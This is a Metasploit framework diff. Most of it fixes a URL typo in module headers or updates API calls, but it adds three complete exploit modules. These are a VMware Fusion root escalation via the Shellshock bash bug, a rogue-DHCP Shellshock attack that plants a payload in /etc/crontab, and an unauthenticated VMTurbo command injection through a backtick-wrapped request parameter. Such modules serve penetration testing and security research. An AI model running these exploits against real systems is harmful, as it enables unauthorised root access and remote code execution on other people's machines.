b/modules/exploits/osx/browser/mozilla_mchannel.rb index b7de8a41ba..c7331b84ea 100644 --- a/modules/exploits/osx/browser/mozilla_mchannel.rb +++ b/modules/exploits/osx/browser/mozilla_mchannel.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -15,7 +15,7 @@ class Metasploit3 < Msf::Exploit::Remote # :ua_name => HttpClients::FF, # :ua_minver => "3.6.16", # :ua_maxver => "3.6.16", - # :os_name => OperatingSystems::MAC_OSX, + # :os_name => OperatingSystems::Match::MAC_OSX, # :javascript => true, # :rank => NormalRanking, #}) diff --git a/modules/exploits/osx/browser/safari_file_policy.rb b/modules/exploits/osx/browser/safari_file_policy.rb index 3f81b534ed..e00fd67998 100644 --- a/modules/exploits/osx/browser/safari_file_policy.rb +++ b/modules/exploits/osx/browser/safari_file_policy.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/osx/browser/safari_metadata_archive.rb b/modules/exploits/osx/browser/safari_metadata_archive.rb index 0c6eef1bb1..27f17742a8 100644 --- a/modules/exploits/osx/browser/safari_metadata_archive.rb +++ b/modules/exploits/osx/browser/safari_metadata_archive.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -17,7 +17,7 @@ class Metasploit3 < Msf::Exploit::Remote #autopwn_info({ # :ua_name => HttpClients::SAFARI, # :ua_maxver => '2.0.2', - # :os_name => [ OperatingSystems::MAC_OSX ], + # :os_name => OperatingSystems::Match::MAC_OSX, # :javascript => false, # :rank => ExcellentRanking, # reliable cmd execution # :vuln_test => nil, diff --git a/modules/exploits/osx/browser/safari_user_assisted_download_launch.rb b/modules/exploits/osx/browser/safari_user_assisted_download_launch.rb index f1d8270b9d..b3f464b21a 100644 --- a/modules/exploits/osx/browser/safari_user_assisted_download_launch.rb +++ b/modules/exploits/osx/browser/safari_user_assisted_download_launch.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -60,7 +60,7 @@ class Metasploit3 < Msf::Exploit::Remote 'BrowserRequirements' => { :source => 'script', :ua_name => HttpClients::SAFARI, - :os_name => OperatingSystems::MAC_OSX, + :os_name => OperatingSystems::Match::MAC_OSX, # On 10.6.8 (Safari 5.x), a dialog never appears unless the user # has already manually launched the dropped exe diff --git a/modules/exploits/osx/browser/software_update.rb b/modules/exploits/osx/browser/software_update.rb index cac67fc293..13d049e81a 100644 --- a/modules/exploits/osx/browser/software_update.rb +++ b/modules/exploits/osx/browser/software_update.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/osx/email/mailapp_image_exec.rb b/modules/exploits/osx/email/mailapp_image_exec.rb index 0e8174ccc5..ef30c099f0 100644 --- a/modules/exploits/osx/email/mailapp_image_exec.rb +++ b/modules/exploits/osx/email/mailapp_image_exec.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/osx/ftp/webstar_ftp_user.rb b/modules/exploits/osx/ftp/webstar_ftp_user.rb index b87286992c..c61f1ceb23 100644 --- a/modules/exploits/osx/ftp/webstar_ftp_user.rb +++ b/modules/exploits/osx/ftp/webstar_ftp_user.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/osx/http/evocam_webserver.rb b/modules/exploits/osx/http/evocam_webserver.rb index b20bef1ab1..2e4a586b97 100644 --- a/modules/exploits/osx/http/evocam_webserver.rb +++ b/modules/exploits/osx/http/evocam_webserver.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/osx/local/nfs_mount_root.rb b/modules/exploits/osx/local/nfs_mount_root.rb index 1a68c1d0ba..e9636e54b5 100644 --- a/modules/exploits/osx/local/nfs_mount_root.rb +++ b/modules/exploits/osx/local/nfs_mount_root.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/osx/local/persistence.rb b/modules/exploits/osx/local/persistence.rb index 67754c800c..ceaba3342f 100644 --- a/modules/exploits/osx/local/persistence.rb +++ b/modules/exploits/osx/local/persistence.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/osx/local/setuid_tunnelblick.rb b/modules/exploits/osx/local/setuid_tunnelblick.rb index 1f7a8b2f6b..1f2d31b0fe 100644 --- a/modules/exploits/osx/local/setuid_tunnelblick.rb +++ b/modules/exploits/osx/local/setuid_tunnelblick.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/osx/local/setuid_viscosity.rb b/modules/exploits/osx/local/setuid_viscosity.rb index a7368c7b17..1a78b4de19 100644 --- a/modules/exploits/osx/local/setuid_viscosity.rb +++ b/modules/exploits/osx/local/setuid_viscosity.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/osx/local/sudo_password_bypass.rb b/modules/exploits/osx/local/sudo_password_bypass.rb index 0172023586..6222b8b180 100644 --- a/modules/exploits/osx/local/sudo_password_bypass.rb +++ b/modules/exploits/osx/local/sudo_password_bypass.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/osx/local/vmware_bash_function_root.rb b/modules/exploits/osx/local/vmware_bash_function_root.rb new file mode 100644 index 0000000000..351ba014ec --- /dev/null +++ b/modules/exploits/osx/local/vmware_bash_function_root.rb @@ -0,0 +1,83 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' +require 'rex' + +class Metasploit3 < Msf::Exploit::Local + Rank = NormalRanking + + include Msf::Post::File + include Msf::Exploit::EXE + include Msf::Exploit::FileDropper + + def initialize(info={}) + super(update_info(info, + 'Name' => 'OS X VMWare Fusion Privilege Escalation via Bash Environment Code Injection', + 'Description' => %q{ + This abuses the bug in bash environment variables (CVE-2014-6271) to get + a suid binary inside of VMWare Fusion to launch our payload as root. + }, + 'License' => MSF_LICENSE, + 'Author' => + [ + 'Stephane Chazelas', # discovered the bash bug + 'juken', # discovered the VMWare priv esc + 'joev', # msf module + 'mubix' # vmware-vmx-stats + ], + 'References' => + [ + [ 'CVE', '2014-6271' ], + [ 'OSVDB', '112004' ], + [ 'EDB', '34765' ] + ], + 'Platform' => 'osx', + 'Arch' => [ ARCH_X86_64 ], + 'SessionTypes' => [ 'shell', 'meterpreter' ], + 'Targets' => [ + [ 'Mac OS X 10.9 Mavericks x64 (Native Payload)', + { + 'Platform' => 'osx', + 'Arch' => ARCH_X86_64 + } + ] + ], + 'DefaultTarget' => 0, + 'DisclosureDate' => 'Sep 24 2014' + )) + + register_options([ + OptString.new('VMWARE_PATH', [true, "The path to VMware.app", '/Applications/VMware Fusion.app']), + ], self.class) + end + + def check + check_str = Rex::Text.rand_text_alphanumeric(5) + # ensure they are vulnerable to bash env variable bug + if cmd_exec("env x='() { :;}; echo #{check_str}' bash -c echo").include?(check_str) && + cmd_exec("file '#{datastore['VMWARE_PATH']}'") !~ /cannot open/ + + Exploit::CheckCode::Vulnerable + else + Exploit::CheckCode::Safe + end + end + + def exploit + payload_file = "/tmp/#{Rex::Text::rand_text_alpha_lower(12)}" + path = '/Contents/Library/vmware-vmx-stats' # path to the suid binary + + print_status("Writing payload file as '#{payload_file}'") + exe = Msf::Util::EXE.to_osx_x64_macho(framework, payload.encoded) + write_file(payload_file, exe) + register_file_for_cleanup(payload_file) + cmd_exec("chmod +x #{payload_file}") + + print_status("Running VMWare services...") + cmd_exec("LANG='() { :;}; #{payload_file}' '#{datastore['VMWARE_PATH']}#{path}' /dev/random") + end + +end diff --git a/modules/exploits/osx/mdns/upnp_location.rb b/modules/exploits/osx/mdns/upnp_location.rb index dd8a314df3..3d32b05a7c 100644 --- a/modules/exploits/osx/mdns/upnp_location.rb +++ b/modules/exploits/osx/mdns/upnp_location.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/osx/misc/ufo_ai.rb b/modules/exploits/osx/misc/ufo_ai.rb index 53a7a4c831..82404e2244 100644 --- a/modules/exploits/osx/misc/ufo_ai.rb +++ b/modules/exploits/osx/misc/ufo_ai.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/osx/rtsp/quicktime_rtsp_content_type.rb b/modules/exploits/osx/rtsp/quicktime_rtsp_content_type.rb index f45b4f79d4..e9e228911d 100644 --- a/modules/exploits/osx/rtsp/quicktime_rtsp_content_type.rb +++ b/modules/exploits/osx/rtsp/quicktime_rtsp_content_type.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/osx/samba/lsa_transnames_heap.rb b/modules/exploits/osx/samba/lsa_transnames_heap.rb index 5b92929eb9..b98c1693e0 100644 --- a/modules/exploits/osx/samba/lsa_transnames_heap.rb +++ b/modules/exploits/osx/samba/lsa_transnames_heap.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/osx/samba/trans2open.rb b/modules/exploits/osx/samba/trans2open.rb index 70ac02edae..703bda17bc 100644 --- a/modules/exploits/osx/samba/trans2open.rb +++ b/modules/exploits/osx/samba/trans2open.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/solaris/dtspcd/heap_noir.rb b/modules/exploits/solaris/dtspcd/heap_noir.rb index 1ae103c4f9..ecf0331613 100644 --- a/modules/exploits/solaris/dtspcd/heap_noir.rb +++ b/modules/exploits/solaris/dtspcd/heap_noir.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/solaris/lpd/sendmail_exec.rb b/modules/exploits/solaris/lpd/sendmail_exec.rb index fa2f21b889..f71bdad36d 100644 --- a/modules/exploits/solaris/lpd/sendmail_exec.rb +++ b/modules/exploits/solaris/lpd/sendmail_exec.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/solaris/samba/lsa_transnames_heap.rb b/modules/exploits/solaris/samba/lsa_transnames_heap.rb index 24ec4d4103..432e9e4276 100644 --- a/modules/exploits/solaris/samba/lsa_transnames_heap.rb +++ b/modules/exploits/solaris/samba/lsa_transnames_heap.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/solaris/samba/trans2open.rb b/modules/exploits/solaris/samba/trans2open.rb index 120fd030a0..b2f41017c5 100644 --- a/modules/exploits/solaris/samba/trans2open.rb +++ b/modules/exploits/solaris/samba/trans2open.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/solaris/sunrpc/sadmind_adm_build_path.rb b/modules/exploits/solaris/sunrpc/sadmind_adm_build_path.rb index 7af5e467c4..16bdfc348a 100644 --- a/modules/exploits/solaris/sunrpc/sadmind_adm_build_path.rb +++ b/modules/exploits/solaris/sunrpc/sadmind_adm_build_path.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/solaris/sunrpc/sadmind_exec.rb b/modules/exploits/solaris/sunrpc/sadmind_exec.rb index 72e94d61c7..730b4e025a 100644 --- a/modules/exploits/solaris/sunrpc/sadmind_exec.rb +++ b/modules/exploits/solaris/sunrpc/sadmind_exec.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -21,7 +21,7 @@ class Metasploit3 < Msf::Exploit::Remote Vulnerable systems include solaris 2.7, 8, and 9 }, - 'Author' => [ 'vlad902 ', 'hdm', 'cazz' ], + 'Author' => [ 'vlad902 ', 'hdm', 'cazz', 'midnitesnake' ], 'License' => MSF_LICENSE, 'References' => [ @@ -35,9 +35,10 @@ class Metasploit3 < Msf::Exploit::Remote 'Arch' => ARCH_CMD, 'Payload' => { - 'Space' => 2000, - 'BadChars' => "\x00", + 'Space' => 2000, + 'BadChars' => "\x00", 'DisableNops' => true, + 'EncoderType' => Msf::Encoder::Type::CmdUnixPerl, 'Compat' => { 'PayloadType' => 'cmd', @@ -83,6 +84,7 @@ class Metasploit3 < Msf::Exploit::Remote hostname = datastore['HOSTNAME'] end + sunrpc_authunix(hostname, datastore['UID'], datastore['GID'], []) response = sadmind_request(hostname, payload.encoded) sunrpc_destroy diff --git a/modules/exploits/solaris/sunrpc/ypupdated_exec.rb b/modules/exploits/solaris/sunrpc/ypupdated_exec.rb index f35c6d8cdc..184c225c90 100644 --- a/modules/exploits/solaris/sunrpc/ypupdated_exec.rb +++ b/modules/exploits/solaris/sunrpc/ypupdated_exec.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/solaris/telnet/fuser.rb b/modules/exploits/solaris/telnet/fuser.rb index a11acad3e4..bafae78d1e 100644 --- a/modules/exploits/solaris/telnet/fuser.rb +++ b/modules/exploits/solaris/telnet/fuser.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/solaris/telnet/ttyprompt.rb b/modules/exploits/solaris/telnet/ttyprompt.rb index 5580082e9c..36c43eb15d 100644 --- a/modules/exploits/solaris/telnet/ttyprompt.rb +++ b/modules/exploits/solaris/telnet/ttyprompt.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/unix/dhcp/bash_environment.rb b/modules/exploits/unix/dhcp/bash_environment.rb new file mode 100644 index 0000000000..7e89250ebe --- /dev/null +++ b/modules/exploits/unix/dhcp/bash_environment.rb @@ -0,0 +1,93 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' +require 'rex/proto/dhcp' + +class Metasploit3 < Msf::Exploit::Remote + Rank = ExcellentRanking + + include Msf::Exploit::Remote::DHCPServer + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'Dhclient Bash Environment Variable Injection', + 'Description' => %q| + When bash is started with an environment variable that begins with the + string "() {", that variable is treated as a function definition and + parsed as code. If extra commands are added after the function + definition, they will be executed immediately. When dhclient receives + an ACK that contains a domain name or hostname, they are passed to + configuration scripts as environment variables, allowing us to trigger + the bash bug. + + Because of the length restrictions and unusual networking scenario at + time of exploitation, we achieve code execution by echoing our payload + into /etc/crontab and clean it up when we get a shell. + |, + 'Author' => + [ + 'Stephane Chazelas', # Vulnerability discovery + 'egypt' # Metasploit module + ], + 'License' => MSF_LICENSE, + 'Platform' => ['unix'], + 'Arch' => ARCH_CMD, + 'References' => + [ + ['CVE', '2014-6271'], + ['OSVDB', '112004'], + ['EDB', '34765'] + ], + 'Payload' => + { + # 255 for a domain name, minus some room for encoding + 'Space' => 200, + 'DisableNops' => true, + 'Compat' => + { + 'PayloadType' => 'cmd', + 'RequiredCmd' => 'generic bash telnet ruby', + } + }, + 'Targets' => [ [ 'Automatic Target', { }] ], + 'DefaultTarget' => 0, + 'DisclosureDate' => 'Sep 24 2014' + )) + + deregister_options('DOMAINNAME', 'HOSTNAME', 'URL') + end + + def on_new_session(session) + print_status "Cleaning up crontab" + # XXX this will brick a server some day + session.shell_command_token("sed -i '/^\\* \\* \\* \\* \\* root/d' /etc/crontab") + end + + def exploit + hash = datastore.copy + # Quotes seem to be completely stripped, so other characters have to be + # escaped + p = payload.encoded.gsub(/([<>()|'&;$])/) { |s| Rex::Text.to_hex(s) } + echo = "echo -e #{(Rex::Text.to_hex("*") + " ") * 5}root #{p}>>/etc/crontab" + hash['DOMAINNAME'] = "() { :; };#{echo}" + if hash['DOMAINNAME'].length > 255 + raise ArgumentError, 'payload too long' + end + + hash['HOSTNAME'] = "() { :; };#{echo}" + hash['URL'] = "() { :; };#{echo}" + start_service(hash) + + begin + while @dhcp.thread.alive? + sleep 2 + end + ensure + stop_service + end + end + +end diff --git a/modules/exploits/unix/ftp/proftpd_133c_backdoor.rb b/modules/exploits/unix/ftp/proftpd_133c_backdoor.rb index 8d927e05bb..47bf09d755 100644 --- a/modules/exploits/unix/ftp/proftpd_133c_backdoor.rb +++ b/modules/exploits/unix/ftp/proftpd_133c_backdoor.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/unix/ftp/vsftpd_234_backdoor.rb b/modules/exploits/unix/ftp/vsftpd_234_backdoor.rb index bb66bbf19c..ce6388be3e 100644 --- a/modules/exploits/unix/ftp/vsftpd_234_backdoor.rb +++ b/modules/exploits/unix/ftp/vsftpd_234_backdoor.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/unix/http/contentkeeperweb_mimencode.rb b/modules/exploits/unix/http/contentkeeperweb_mimencode.rb index d74bc00a5b..b5a5b70f1f 100644 --- a/modules/exploits/unix/http/contentkeeperweb_mimencode.rb +++ b/modules/exploits/unix/http/contentkeeperweb_mimencode.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -58,7 +58,7 @@ class Metasploit3 < Msf::Exploit::Remote def check connect sock.put("GET /cgi-bin/ck/mimencode HTTP/1.0\r\n\r\n") - banner = sock.get(-1,3) + banner = sock.get_once(-1, 3) disconnect if (banner =~ /500 Internal/) diff --git a/modules/exploits/unix/http/ctek_skyrouter.rb b/modules/exploits/unix/http/ctek_skyrouter.rb index 2e296dcf44..cc6ee796bf 100644 --- a/modules/exploits/unix/http/ctek_skyrouter.rb +++ b/modules/exploits/unix/http/ctek_skyrouter.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/unix/http/freepbx_callmenum.rb b/modules/exploits/unix/http/freepbx_callmenum.rb index c077eb1518..cb85ffd2a2 100644 --- a/modules/exploits/unix/http/freepbx_callmenum.rb +++ b/modules/exploits/unix/http/freepbx_callmenum.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/unix/http/lifesize_room.rb b/modules/exploits/unix/http/lifesize_room.rb index 96d9b28600..8a06f2b6b2 100644 --- a/modules/exploits/unix/http/lifesize_room.rb +++ b/modules/exploits/unix/http/lifesize_room.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/unix/http/vmturbo_vmtadmin_exec_noauth.rb b/modules/exploits/unix/http/vmturbo_vmtadmin_exec_noauth.rb new file mode 100644 index 0000000000..c1e9a4f40a --- /dev/null +++ b/modules/exploits/unix/http/vmturbo_vmtadmin_exec_noauth.rb @@ -0,0 +1,162 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class Metasploit3 < Msf::Exploit::Remote + Rank = ExcellentRanking + + include Msf::Exploit::Remote::HttpClient + include Msf::Exploit::CmdStager + include Msf::Exploit::EXE + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'VMTurbo Operations Manager vmtadmin.cgi Remote Command Execution', + 'Description' => %q{ + VMTurbo Operations Manager 4.6 and prior are vulnerable to unauthenticated + OS Command injection in the web interface. Use reverse payloads for the most + reliable results. Since it is a blind OS command injection vulnerability, + there is no output for the executed command when using the cmd generic payload. + Port binding payloads are disregarded due to the restrictive firewall settings. + + This module has been tested successfully on VMTurbo Operations Manager versions 4.5 and + 4.6. + }, + 'Author' => + [ + # Secunia Research - Discovery and Metasploit module + 'Emilio Pinna ' + ], + 'License' => MSF_LICENSE, + 'References' => + [ + ['CVE', '2014-5073'], + ['OSVDB', '109572'], + ['URL', 'http://secunia.com/secunia_research/2014-8/'] + ], + 'DisclosureDate' => 'Jun 25 2014', + 'Privileged' => false, + 'Platform' => %w{ linux unix }, + 'Payload' => + { + 'Compat' => + { + 'ConnectionType' => '-bind' + } + }, + 'Targets' => + [ + [ 'Unix CMD', + { + 'Arch' => ARCH_CMD, + 'Platform' => 'unix' + } + ], + [ 'VMTurbo Operations Manager', + { + 'Arch' => [ ARCH_X86, ARCH_X86_64 ], + 'Platform' => 'linux' + } + ], + ], + 'DefaultTarget' => 1 + )) + + deregister_options('CMDSTAGER::DECODER', 'CMDSTAGER::FLAVOR') + end + + def check + begin + res = send_request_cgi({ + 'method' => 'GET', + 'uri' => "/cgi-bin/vmtadmin.cgi", + 'vars_get' => { + "callType" => "ACTION", + "actionType" => "VERSIONS" + } + }) + rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout + vprint_error("#{peer} - Failed to connect to the web server") + return Exploit::CheckCode::Unknown + end + + if res and res.code == 200 and res.body =~ /vmtbuild:([\d]+),vmtrelease:([\d.]+),vmtbits:[\d]+,osbits:[\d]+/ + version = $2 + build = $1 + + vprint_status("#{peer} - VMTurbo Operations Manager version #{version} build #{build} detected") + else + vprint_status("#{peer} - Unexpected vmtadmin.cgi response") + return Exploit::CheckCode::Unknown + end + + # NOTE (@todb): This PHP style comparison seems incorrect, since + # strings are being compared and not numbers. Example: + # 1.9.3p547 :001 > a = "4.6" + # => "4.6" + # 1.9.3p547 :002 > b = "10.6" + # => "10.6" + # 1.9.3p547 :003 > a <= b + # + # Also, the description says 4.5 is also vuln. This doesn't + # appear to care. + if version and version <= "4.6" and build < "28657" + return Exploit::CheckCode::Appears + else + return Exploit::CheckCode::Safe + end + end + + def execute_command(cmd, opts) + begin + res = send_request_cgi({ + 'uri' => '/cgi-bin/vmtadmin.cgi', + 'method' => 'GET', + 'vars_get' => { + "callType" => "DOWN", + "actionType" => "CFGBACKUP", + "fileDate" => "\"`#{cmd}`\"" + } + }) + rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout + vprint_error("#{peer} - Failed to connect to the web server") + return nil + end + + vprint_status("Sent command #{cmd}") + end + + # + # generate_payload_exe doesn't respect module's platform unless it's Windows, or the user + # manually sets one. This method is a temp work-around. + # + def check_generate_payload_exe + if generate_payload_exe.nil? + fail_with(Failure::BadConfig, "#{peer} - Failed to generate the ELF. Please manually set a payload.") + end + end + + def exploit + + # Handle single command shot + if target.name =~ /CMD/ + cmd = payload.encoded + res = execute_command(cmd, {}) + + unless res + fail_with(Failure::Unknown, "#{peer} - Unable to execute payload") + end + + print_status("#{peer} - Blind Exploitation - unknown exploitation state") + return + end + + check_generate_payload_exe + + # Handle payload upload using CmdStager mixin + execute_cmdstager({:flavor => :printf}) + end +end diff --git a/modules/exploits/unix/irc/unreal_ircd_3281_backdoor.rb b/modules/exploits/unix/irc/unreal_ircd_3281_backdoor.rb index 4ec66ba5c0..e89a4224ba 100644 --- a/modules/exploits/unix/irc/unreal_ircd_3281_backdoor.rb +++ b/modules/exploits/unix/irc/unreal_ircd_3281_backdoor.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/unix/local/setuid_nmap.rb b/modules/exploits/unix/local/setuid_nmap.rb index 78acb267d1..db1aeb5ba1 100644 --- a/modules/exploits/unix/local/setuid_nmap.rb +++ b/modules/exploits/unix/local/setuid_nmap.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/unix/misc/distcc_exec.rb b/modules/exploits/unix/misc/distcc_exec.rb index e0e4bb2f8e..a351549984 100644 --- a/modules/exploits/unix/misc/distcc_exec.rb +++ b/modules/exploits/unix/misc/distcc_exec.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/unix/misc/qnx_qconn_exec.rb b/modules/exploits/unix/misc/qnx_qconn_exec.rb index 60fbffab6f..9bdeb95f3d 100644 --- a/modules/exploits/unix/misc/qnx_qconn_exec.rb +++ b/modules/exploits/unix/misc/qnx_qconn_exec.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -75,7 +75,7 @@ class Metasploit3 < Msf::Exploit::Remote req = "service launcher\n" req << "start/flags run /bin/echo /bin/echo #{fingerprint}\n" sock.put(req) - res = sock.get + res = sock.get_once(-1, 10) disconnect # check response @@ -99,7 +99,7 @@ class Metasploit3 < Msf::Exploit::Remote print_status("#{@peer} - Sending payload (#{req.length} bytes)") connect sock.put(req) - res = sock.get + res = sock.get_once(-1, 10) # check response if res and res =~ /No controlling tty/ diff --git a/modules/exploits/unix/misc/spamassassin_exec.rb b/modules/exploits/unix/misc/spamassassin_exec.rb index e0ac350ac9..d116f47fa6 100644 --- a/modules/exploits/unix/misc/spamassassin_exec.rb +++ b/modules/exploits/unix/misc/spamassassin_exec.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/unix/misc/zabbix_agent_exec.rb b/modules/exploits/unix/misc/zabbix_agent_exec.rb index e6767dce06..7498d4486e 100644 --- a/modules/exploits/unix/misc/zabbix_agent_exec.rb +++ b/modules/exploits/unix/misc/zabbix_agent_exec.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/unix/smtp/clamav_milter_blackhole.rb b/modules/exploits/unix/smtp/clamav_milter_blackhole.rb index db8129e5d1..c2f2633ca7 100644 --- a/modules/exploits/unix/smtp/clamav_milter_blackhole.rb +++ b/modules/exploits/unix/smtp/clamav_milter_blackhole.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/unix/smtp/exim4_string_format.rb b/modules/exploits/unix/smtp/exim4_string_format.rb index 5f9645050b..993d54374a 100644 --- a/modules/exploits/unix/smtp/exim4_string_format.rb +++ b/modules/exploits/unix/smtp/exim4_string_format.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: 